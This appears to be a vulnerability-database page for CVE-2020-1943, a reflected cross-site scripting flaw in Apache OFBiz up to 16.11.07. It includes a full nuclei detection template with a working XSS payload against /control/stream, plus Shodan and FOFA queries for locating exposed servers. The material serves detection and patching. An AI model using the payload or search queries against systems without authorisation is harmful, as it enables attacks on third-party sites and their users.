HexBrain

Browse / CVEs / CVE-2020-1943

CVE-2020-1943· apache / ofbiz· CWE-79

Apache OFBiz <=16.11.07 - Cross-Site Scripting

mediumseverity
6.1CVSS score
97.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Apache OFBiz 16.11.01 to 16.11.07 is vulnerable to cross-site scripting because data sent with contentId to /control/stream is not sanitized.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Apache OFBiz to a version higher than 16.11.07 to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(/xss/)%3E
Positive when: contains "<svg/onload=alert(/xss/)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-1943 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-1943

info:
  name: Apache OFBiz <=16.11.07 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Apache OFBiz 16.11.01 to 16.11.07 is vulnerable to cross-site scripting because data sent with contentId to /control/stream is not sanitized.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Apache OFBiz to a version higher than 16.11.07 to mitigate this vulnerability.
  reference:
    - https://lists.apache.org/thread.html/rf867d9a25fa656b279b16e27b8ff6fcda689cfa4275a26655c685702%40%3Cdev.ofbiz.apache.org%3E
    - https://s.apache.org/pr5u8
    - https://lists.apache.org/thread.html/r034123f2767830169fd04c922afb22d2389de6e2faf3a083207202bc@%3Ccommits.ofbiz.apache.org%3E
    - https://lists.apache.org/thread.html/r8efd5b62604d849ae2f93b2eb9ce0ce0356a4cf5812deed14030a757@%3Cdev.ofbiz.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-1943
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-1943
    cwe-id: CWE-79
    epss-score: 0.97165
    epss-percentile: 0.99895
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve2020,cve,apache,xss,ofbiz,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(/xss/)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from